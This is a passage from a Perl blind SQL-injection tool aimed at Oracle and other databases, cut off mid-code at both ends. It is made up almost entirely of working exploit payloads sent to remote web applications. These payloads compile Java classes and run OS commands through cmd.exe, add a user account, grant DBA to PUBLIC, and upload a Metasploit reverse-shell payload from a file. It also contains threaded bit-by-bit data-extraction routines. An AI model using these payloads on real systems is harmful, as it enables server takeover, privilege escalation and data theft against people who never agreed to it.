&httpintro();
	if($type==6)
	{
			
		print "Oracle OS command execution\n";
		print "\nNOTE: Please provide the vulnerable parameter as the last parameter\n";
		print "\nThis will only work if injection allows execution of SQL as SYS user\n";
		print "\nFor vulnerable versions check: http://www.securityfocus.com/bid/35685
\n\n";
		
		print "String to Match: ".$match."\n";
		$stype=0;
		if ($stype==0) {
		
		print "To execute \"".$cmd."\" on remote box with stype:".$stype."\n";
		

my $url_1 = $url." and ";
my $javalib="(select SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named \"LinxUtil\" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str %2b=stemp%2b\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str %2b=stemp%2b\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','CCCCC') from dual) =0--";

my $javaperm="(select SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','CCCCC') from dual) =0--";

my $cmd_exec_func="(select SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','CCCCC') from dual)=0--";

my $priv_check="(select SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname);EXECUTE IMMEDIATE ''select user from dual'';END;--','CCCCC') from dual)=0--";
my $cmd_exec_func_priv="(select SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','CCCCC') from dual) =0--";


my $cmd_exec_func_unpriv="(select SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' drop function LinxRunCMD '''';END;'';END;--','CCCCC') from dual)=0--";
  
my $cmd_1=$cmd;
my $cmd_exec="(select sys.LinxRunCMD('cmd.exe /c". $cmd_1. "') from dual) is null--";

print "Checking if have privileges to execute function SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC()\n";
my $url=$url_1.$priv_check;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      Oracle exec process                                  #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR: No privileges or database is not vulnerable\n";
	
  } else {
	
	print "[!] OS Exe Proceeding\n";
	
	
}

print "STAGE 1\n";
my $url=$url_1.$javalib;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 1 occured\n";
	
  } else {
    print "[!] No errors encountered\n";
	
}
print "STAGE 2\n";
my $url=$url_1.$javaperm;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 2 occured\n";
	
	print "[=] Continuing to proceed\n";
  } else {
    print "[!] No errors encountered\n";
	
}
print "STAGE 3\n";
my $url=$url_1.$cmd_exec_func;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
	print "[!] ERROR at STAGE 3 occured\n";
	
	print "[=] Continuing to proceed.\n";
  } else {
    print "[!] No errors encountered\n";
	
	
print "STAGE 4\n";
my $url=$url_1.$cmd_exec_func_priv;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 4 occured\n";
	
	print "[=] Continuing to proceed.\n";
  } else {
    print "[!] No errors encountered\n";
	
}
print "STAGE 5\n";

print "Able to execute this function as:\nselect sys.LinxRunCMD('cmd.exe /c net user inno m0le /add') from dual\n";
print "[=] Executing command \n";
my $url=$url_1.$cmd_exec;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 5 occured\n";
	
	print "[!] Check input\n";
  } else {
	
	print "[!] SUCCESS: Command has been executed.\n";
	
  }	
print "STAGE 6\n";
my $url=$url_1.$cmd_exec_func_unpriv;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 6 occured\n";
	
	print "[!] WARNING: Not been able to drop the function.\n";
	exit 0;
  } else {
	print "[!] Function dropped.\n";
	exit 0;
}
  	}

}
	if($type==7)
	{
		
		print "Oracle OS command execution with SYS.KUPP\$PROC.CREATE_MASTER_PROCESS() \n";
		print "NOTE: Please provide the vulnerable parameter as the last parameter\n";
		print "This will only work if injection allows execution of SQL as DBA\n";
		print "String to Match: ".$match."\n";
		print "[!] To execute \"".$cmd."\" on remote database host\n";
		

my $url_1 = $url;
my $create_prog=" and (select SYS.KUPP\$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''innox'',''EXECUTABLE'',''c:\\WINDOWS\\system32\\cmd.exe /c ".$cmd." '',0,TRUE);')from dual) is not null --";
my $priv_check=" and (select SYS.KUPP\$PROC.CREATE_MASTER_PROCESS('null') from dual) is not null --";
my $create_job="  and (select SYS.KUPP\$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_job(job_name=>''innoxx'',program_name=>''innox'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);')from dual) is not null-- ";
my $remove_job=" and (select SYS.KUPP\$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.DROP_PROGRAM(''innox'');')FROM DUAL) is not null --";

print "Checking if have privileges to execute function SYS.KUPP\$PROC.CREATE_MASTER_PROCESS()\n";
my $url=$url_1.$line;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR: No privileges or database is not vulnerable \n";
	
  } else {
	print "[!] OS Exe Proceeding\n";
	
if($cmd eq "revshell")
{

print "Reading file cmd.txt \n Uploading metasploit's payload\n";
open LOGFILE, "cmd.txt" or die("[!] Could not open cmd file. Run generator.exe to generate cmd.txt\n");
foreach $line (<LOGFILE>) {
my $url=$url_1.$line;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
    print "";
	$err_count=$err_count+1;
  } else {
	print "";
}
}

if ($err_count>0)
{ print "\n".$err_count."[!] Error Occured\n";

}
else{
print "\n[=] Session Created!\nUse -cmd=cleanup to cleanup server\n";
exit 0;
}
}
if($cmd eq "cleanup")
{

$err_count=0;

$url_clean=" and (SELECT SYS.KUPP\$PROC.CREATE_MASTER_PROCESS('BEGIN dbms_lock.sleep(1);DBMS_SCHEDULER.drop_program(PROGRAM_NAME => ''BSQLBFPROG'');DBMS_SCHEDULER.PURGE_LOG;END;') from dual) is not null--";   
my $url=$url_1.$url_clean;


my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
    print "";
	$err_count=$err_count+1;
  } else {
	print "";
}


if ($err_count>0)
{ print "\n".$err_count."[!] Error Occured!";

}
else{
print "[!] System cleaned";
exit 0;
}
}	
print "STAGE 1\n";
my $url=$url_1.$create_prog;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR: Something is not right\n";
	
  } else {
	print "[!] Program Created\n";
	
  }


print "STAGE 2\n";
my $url=$url_1.$create_job;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR: Unable to create job - still proceeding\n";
	
  } else {
	print "[!] Job Created Created\n";
	print "Sleeping for 10 seconds \n";
	
	sleep(10);
  }

print "STAGE 3\n";
my $url=$url_1.$remove_job;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR: Unable to Remove job\n";
	
  } else {
	print "[!] Job Removed\n";
	
die "Happy Hacking";
  }
  }}
	if($type==8)
	{
		print "Oracle OS command execution with DBMS_JAVA_TEST.FUNCALL \n";
		print "NOTE: Please provide the vulnerable parameter as the last parameter\n";
		print "This will only work if the user has JAVA IO privileges\n";
		print "String to Match: ".$match."\n";		
		print "[!] To execute \"".$cmd."\" on remote database host\n";
my $url_1 = $url;
my $exec_java_cmd=" and (Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\\\windows\\\\system32\\\\cmd.exe','/c',' ". $cmd."') FROM DUAL) is null --";
my $priv_check="  and (select count(*) from user_java_policy where GRANTEE_NAME=user and type_name='java.io.FilePermission' and action ='execute') > 0 --";

print "Checking if have Java IO Permissions\n";
my $url=$url_1.$priv_check;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;
  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR: No privileges or database is not vulnerable \n";
	die "ending";
	
  } else {
	print "[=] OS Execution Proceeding\n";
	
if($cmd eq "revshell")
{
print "Reading file cmd.txt \n Uploading metasploit's payload\n";
open LOGFILE, "cmd.txt" or die("[!] Could not open cmd file. Run generator.exe to generate cmd.txt\n");
foreach $line (<LOGFILE>) {
my $url=$url_1.$line;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;
  if(! ($content =~ m/($match)/i)) {
    print "";
	$err_count=$err_count+1;
  } else {
	print "";
}
}

if ($err_count>1)
{ print "\n".$err_count." [!] Error Occured\n";
exit 0;
}
else{
print "\n[!] Session Occurring\n";
exit 0;
}
}
	my $url=$url_1.$exec_java_cmd;
	my $content = get_or_post($method,$url,$cookie,$proxy);
	die "[!] Couldn't get $url" unless defined $content;
	
	if(! ($content =~ m/($match)/i)) {
		die "[!] Error Encountered \n";
	}
	else{
	die "[=] Command executed Successfully \n";
	}
  }
	}

if ($type==5) 
{
$end =1;
$type=0;
$database=3;
$sql="select sys.LinxReadfile('".$file."') from dual";
print "\n\nType 5: Creates a function to read files\n";


my $url_1 = $url." and ";
my $javalib="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named \"LinxUtil\" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str %2b=stemp%2b\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str %2b=stemp%2b\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

my $javaperm="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

my $cmd_exec_func="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

my $cmd_exec_func_priv="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";
my $cmd_exec_func_unpriv="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual)is null--";

print "STAGE 1\n";
my $url=$url_1.$javalib;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;
  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 1 occured\n";
	
  } else {
    print "[!] No errors encountered - proceeding to STAGE 2\n";
	
}
print "STAGE 2\n";
my $url=$url_1.$javaperm;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 2\n";
	
	print "[=] Continuing to proceed\n";
  } else {
    print "[!] No errors encountered - proceeding to STAGE 3\n";
	
	
}
print "STAGE 3\n";
my $url=$url_1.$cmd_exec_func;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
	print "[!] ERROR at STAGE 3\n";
	
	print "[=] Continuing to proceed\n";
  } else {
    print "[!] No errors encountered - proceeding to STAGE 4\n";
	
}
print "STAGE 4\n";
my $url=$url_1.$cmd_exec_func_priv;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 4\n";
	
	exit 0;
  } else {
    print "[!] No errors encountered\n";
	print "[=] SUCCESS: created the function sys.LinxReadFile().\n";
	print "Launching Bsqlbf\n";
	

}
}
	if($type==4)
	{
		print "Oracle OS command execution\n";
		print "\n\nNote: Please provide the vulnerable parameter as the last parameter\n";
		print "Supported versions <=:\n(Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2, XE)\n\n";
		
		print "String to Match: ".$match."\n";
		if ($stype==0) {
		
		print "[!] To execute \"".$cmd."\" on remote box with stype:".$stype."\n";
		

my $url_1 = $url." and ";
my $javalib="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named \"LinxUtil\" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str %2b=stemp%2b\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str %2b=stemp%2b\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

my $javaperm="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

my $cmd_exec_func="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

my $cmd_exec_func_priv="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";
my $cmd_exec_func_unpriv="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual)is null--";
  
my $cmd_1=$cmd;
my $cmd_exec="(select sys.LinxRunCMD('cmd.exe /c". $cmd_1. "') from dual) is null--";
print "STAGE 1\n";
my $url=$url_1.$javalib;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 1 occured\n";
	
  } else {
    print "[!] No errors encountered - proceeding to STAGE 2\n";
	
}
print "STAGE 2\n";
my $url=$url_1.$javaperm;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 2\n";
	
	print "[=] Continuing to proceed\n";
  } else {
    print "[!] No errors encountered - proceeding to STAGE 3\n";
	
}
print "STAGE 3\n";
my $url=$url_1.$cmd_exec_func;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
	print "[!] ERROR at STAGE 3\n";
	
	print "[=] Continuing to proceed\n";
  } else {
    print "[!] No errors encountered - proceeding to STAGE 4\n";
	
	
}

print "STAGE 4\n";
my $url=$url_1.$cmd_exec_func_priv;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 4\n";
	
	print "[=] Continuing to proceed\n";
  } else {
    print "[!] No errors encountered - proceeding to STAGE 5\n";
	
	
}
print "Should have a function sys.LinxRunCMD through which can execute commands\n";

print "Able to execute this function as:\nselect sys.LinxRunCMD('cmd.exe /c net user inno m0le /add') from dual\n";
print "[=] Executing command \n";
my $url=$url_1.$cmd_exec;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 5\n";
	
	print "[!] Check the input\n";
  } else {
	
	print "[!] SUCCESS: Command has been executed.\n";
	

  }	
print "Step 6. Droping function sys.LinxRunCMD\n";
my $url=$url_1.$cmd_exec_func_unpriv;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;

  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 6\n";
	
	print "[!] Warning: Cannot drop function\n";
	exit 0;
  } else {
	print "[!] Function dropped\n";
	exit 0;
}
  	}

		if ($stype==1) {
			print "Command execution in oracle 9 with plsql_native_make_utility not yet ready\n";
		exit 0;
		}
		if ($stype==2) {
			print "OS command execution with dbms_scheduler\n";
			print "\n\n[!] NOTE: Supply commands with full paths such as:\n";
			print "c:\\WINDOWS\\system32\\cmd.exe /c c:\\whoami.exe >> c:\\bsql.txt\n\n\n";
			if ($cmd eq "ping 127.0.0.1") {
			 $cmd = "C:\\windows\\system32\\cmd.exe /c C:\\windows\\system32\\whoami.exe >> C:\\inno.txt";
			 print "Executing default cmd: ".$cmd. "\n";
			}

my $cmd_1=$cmd;
my $url_1 = $url." and ";
my $step1="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' begin DBMS_SCHEDULER.create_program(''''''''bsql5'''''''',''''''''EXECUTABLE'''''''',''''''''".$cmd_1."'''''''',0,TRUE); end;'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

my $step2="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin DBMS_SCHEDULER.create_job(job_name => ''''''''bsql5job'''''''',program_name => ''''''''bsql5'''''''',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE); end;'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

my $step3="(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' begin DBMS_SCHEDULER.drop_program(PROGRAM_NAME => ''''''''bsql5''''''''); end; '''';END;'';END;--','SYS',0,'1',0) from dual) is null--";

print "[1] Creating job\n";

my $url=$url_1.$step1;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 1 occured\n";
	
  } else {
    print "\n[!] No errors encountered - proceeding to STAGE 2\n";
	
}
print "[2] Executing Job\n";
print "[=] Executing Command\n";
my $url=$url_1.$step2;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/($match)/i)) {
	
    print "[!] ERROR at STAGE 2 occured\n";
	
	print "[=] Continuing to proceed\n";
  } else {
    print "[!] No errors encountered - proceeding to STAGE 3\n";
	
}

print "\n[3] Removing Job\n";
print "Sleeping for 15 secs\n";
sleep(15);
my $url=$url_1.$step3;
my $content = get_or_post($method,$url,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/$match/i)) {
	
    print "[!] ERROR at STAGE 3 occured\n";
	
	print "[!] Check the input\n";
	print $content;
	
  } else {
	
	print "[!] SUCCESS: Command has been executed.\n";
	
}					
				exit 0;}	
		}
if($type==3)
	{
		print "Oracle Privilege escalation\n\n";
		print "Supported versions less <=:\n(Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2, XE)\n\n";
		
		print "\n\n![!] NOTE: Please provide the vulnerable parameter as the last parameter\n";
		print "I will \"GRANT DBA TO PUBLIC\" and Later REVOKE it back\n\n";
		
		print "String to match: ".$match."\n";

my $grantdbatopub=" and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual) is null --";
my $url_1=$url.$grantdbatopub;
print "\n[=] Sending Sequest\n";
print "\n";


my $content;
$content = get_or_post($method,$url_1,$cookie,$proxy);
die "[!] Couldn't get $url" unless defined $content;
my $match_1 eq "Warning";

if (!$match) {
	print "[!] Did not supply any match string\n"; 
	print "[=] Type to match:".$match_1."\n";}

  if(! ($content =~ m/$match/i)) {
        
    die "[!] ERROR occured\n";
        
		die "[!] Cannot proceed";	
  } else {
	          
			  print "[!] No Errors Encountered - DBA\n";
  }
	}
 
( ! $get) ? sqlget() : fileget();
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      Injection                                            #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
my @byte = ();
my $wait_me;

sub getbyte {
   my $sql = $_[0];
   my $bit="";
   my @thread_count = ();
   my $c = 8;
   my $i = 0;
   $high = 128 unless $ascii;
   $wait_me = 0; 

   share($wait_me);
   share (@byte);

   if ($ascii) {
     $byte[0] = 0; 
     $high = 64;
   }
   for ($bit=1;$bit<=$high;$bit*=2) {
	$thread_count[$i] = threads->create(\&launch_thread ,$sql, $bit, $c);
	$thread_count[$i]->detach;
	$c--;
   }

   while ($wait_me <= 7) {
	usleep(50);
   }

   my $str = join("",@byte);
   return pack("B*","$str");

}

sub launch_thread {
	my ($sql, $bit, $c) = @_;
	my $val;	
	my $and="%26";
	 if (lc($method) eq "post"){
	 $and="&";
	 }
if ($database==0) {

		if ($url =~ /'$/) {
 if ($type==1) 
					  { 
						 $val = "$head and (select case when((ASCII($sql) $and $bit) =0) then 1 else 1/0 end )=1-- $tail";
					  }
			  else {	if($type==0)
					  {	   
			  $val = "$head and (ASCII($sql) $and $bit)=0-- $tail";
					  } 

					  else {	if($type==2)
					  {	   
						 $val = "$head,(select case when((ASCII($sql) $and $bit) =0) then 1 else 1/0 end )=1-- $tail";
					  } 
				   }  

	}}
		  		  else{
					   if ($type==1) 
					  { 
						 $val = "$head and (select case when ((ASCII($sql) $and $bit) =0)then 1 else 1/0 end)=1 $tail";
					  }
			  else {	if($type==0)
					  {	   
			  $val = "$head and (ASCII($sql) $and $bit)=0 $tail";
					  }
					  
					   else {	if($type==2)
					  {	   
						 $val = "$head,(select case when((ASCII($sql) $and $bit) =0) then 1 else 1/0 end )=1 $tail";
					  } 
				   }  
				   }  
			   
				  } 


				}

if ($database==2) {



		if ($url =~ /'$/) {
    
 if ($type==1) 
	
					  { 
						 $val = "$head and (case when ((ASCII($sql) $and $bit) =0) then 1 else (1 * (select 1 from information_schema.tables)) end)=1-- $tail";
					  }
			  else {	if($type==0)
					  {	   
			  $val = "$head and (ASCII($sql) $and $bit)=0-- $tail";
					  } 
				   
				   else {	if($type==2)
					  {	   
						 $val = "$head,(case when ((ASCII($sql) $and $bit) =0) then 1 else (1 * (select 1 from information_schema.tables)) end)-- $tail";
					  } 
				   }  
				   }  



	}
		  		  else{
					   if ($type==1) 
					  { 
						 $val = "$head (case when ((ASCII($sql) $and $bit) =0) then 1 else (1 * (select 1 from information_schema.tables)) end) $tail";
					  }
			  else {	if($type==0)
					  {	   
			  $val = "$head and (ASCII($sql) $and $bit)=0 $tail";
					  } 
 else {	if($type==2)
					  {	   
						 $val = "$head,(case when ((ASCII($sql) $and $bit) =0) then 1 else (1 * (select 1 from information_schema.tables)) end) $tail";
					  } 


				   }  

				   }  
			   
				  } 


				}
	 if ($database==3) {
	 
if ($url =~ /'$/) 
{
          if ($type==1) 
	
					  { 
						 $val = "$head and (select case when BITAND((ASCII($sql)), $bit)=0 then  (select 1 from dual) else 1/0  end from dual)=1-- $tail";
					  }
			  else {	if($type==0)
					  {	   
